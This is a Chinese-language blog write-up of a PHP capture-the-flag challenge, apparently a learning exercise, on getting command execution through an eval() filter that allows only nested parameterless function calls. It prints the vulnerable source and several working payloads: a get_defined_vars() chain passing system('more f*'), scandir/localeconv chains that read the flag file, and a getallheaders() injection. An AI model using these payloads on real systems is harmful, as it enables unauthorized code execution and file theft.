Gentle_knife's Studio.

PHP 常见无参函数—— [HNCTF 2022 WEEK2]Canyource

Word count: 1.3kReading time: 5 min
2025/07/08
loading

这是一道考验利用无参函数达到命令执行的题目。

1
2
3
4
5
6
7
8
9
10
<?php
highlight_file(__FILE__);
if(isset($_GET['code'])&&!preg_match('/url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['code'])){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);}
else
die('nonono');}
else
echo('please input code');
?>

源码分析

先来看这段正则:

1
/[^\W]+\((?R)?\)/

它会找到所有符合 “函数名()” 的部分,并替换成空字符串。

所以我们传入的必须是无参函数。

php内置无参函数:

  • end() - 读取数组最后一个元素
  • localeconv() – 函数返回一个包含本地数字及货币格式信息的数组 第一个是.
  • pos() – 返回数组中的当前单元, 默认取第一个值
  • current() - 读取数组的第一个元素
  • next – 将内部指针指向数组下一个元素并输出
  • scandir() – 扫描目录
  • array_reverse() – 翻转数组
  • array_flip() - 键名与数组值对调
  • readfile()
  • array_rand() - 随机读取键名
  • var_dump() - 输出数组,可以用print_r替代
  • file_get_contents() - 读取文件内容,show_source,highlight_file echo 可代替
  • get_defined_vars() - 返回由所有已定义变量所组成的数组
  • phpinfo() -显示php详细内容

分析几个常见 wp

参数祸水东引

1
?code=eval(end(current(get_defined_vars())));&cmd=system('more f*');

get_defined_vars()

返回当前作用域中定义的所有变量

1
2
3
4
5
6
[
'_GET' => ['code' => 'xxx', 'shekk' => 'system(...)'],
'_POST' => [...],
'_SERVER' => [...],
...
]

所以这返回的是个大数组,第一层是变量名(_GET, _POST 等)

相似的函数还有getallheaders()

current()

我们调用 current(get_defined_vars()),意思是:

从这个大数组中,取“第一个元素的值”

也就是:

1
2
3
4
current([
'_GET' => [...],
...
]) => $_GET

结果是 **$_GET** 这个数组。

我们现在已经拿到了**$_GET** 这个数组

所以end($_GET)就是取**$_GET** 这个数组的最后一个,也就是我们自己发过去的命令。

最后由于题目中的 eval 是执行 code 字符串,我们还需要在外面包一个 eval 来执行我们发过去的命令。

拼接出目标文件

1
?code=readfile(next(array_reverse(scandir(pos(localeconv())))));

localeconv()

这个函数返回一个数组,包含“本地数字/货币格式”的设置,

我们来看看 PHP 官方文档里 localeconv() 返回的数组顺序:

1
2
3
4
5
6
7
8
9
10
11
php


复制编辑
[
"decimal_point" => ".",
"thousands_sep" => ",",
"int_curr_symbol" => "CNY ",
"currency_symbol" => "¥",
...
]

所以第一个是 "decimal_point" => "."

那这个结果在所有机器上都是一样的吗?

几乎 100% 都是一样的,因为:

默认系统 locale 设置是英文或 UTF-8 编码环境(如 en_US.UTF-8

在这些默认环境下,小数点符号几乎一定是 "."

pos()

pos() 是 current() 的别名。

它会返回数组中第一个元素的值

所以这一步的意思是:

localeconv() 这个数组中,取出第一个值。

最终结果是:一个字符串 "."

这就等价于当前目录

scandir()

作用:扫描目录,返回这个目录下的所有文件和文件夹名,作为数组

比如你的目录有这些文件:

index.php
flag

那:

scandir(‘.’);

返回的就是:

[“.”, “..”, “flag”, “index.php”]

默认就多了这两个 "."".."。 代表当前目录和上层目录。

这上面两个函数基本是固定的,怎么读到目前文件可以随意组合,比如说:

1
/?code=readfile(array_rand(array_flip(scandir(pos(localeconv())))));

**array_flip()array_reverse()**作用相同。

array_rand()

从数组中随机抽一个 key,这里因为只有两个文件所以很容易就抽中了 flag.

array_reverse()

作用: 把数组的顺序反过来

原本:

1
[".", "..", "flag", "index.php"]

变成:

1
["index.php", "flag", "..", "."]

next()

作用:next() 是移动数组指针并返回下一个值。但在一串函数里直接用它,其实意思就是:返回数组的第二个元素(因为第一是 current)

这一步是选中你想读的那个文件名,尽量猜到 flag

如果第二个元素也没有,那么再嵌套一层 next,直到读到为止。

或者我们也可以用:

array_values(scandir(pos(localeconv())))[2]来直接访问某个具体下标

readfile()

读取文件内容并直接输出到浏览器

从构造者的脑回路角度来说:

我不能用字符串!那我就用函数构造出 **/flag** 的路径

我不能传参数,那我就层层嵌套函数调用

我不能写 $_GET['cmd'],那就不要用外部变量

我想用 readfile() 输出文件,那就构造文件名

我用 scandir('.') 找到所有文件

我通过 array_reverse + next 去“猜” flag 所在位置

请求头

1
eval(next(getallheaders()));

PHP 内置函数,用于获取 HTTP 请求头,返回一个关联数组

比如你发送请求时带了:

1
X-My-Header: system('ls');

那么:

1
2
3
4
5
getallheaders() = [
"Host" => "...",
"User-Agent" => "...",
"X-My-Header" => "system('ls')"
]

flag 在源代码里,需要右键查看。

CATALOG
  1. 1. 源码分析
  2. 2. 分析几个常见 wp
    1. 2.1. 参数祸水东引
    2. 2.2. 拼接出目标文件
    3. 2.3. 请求头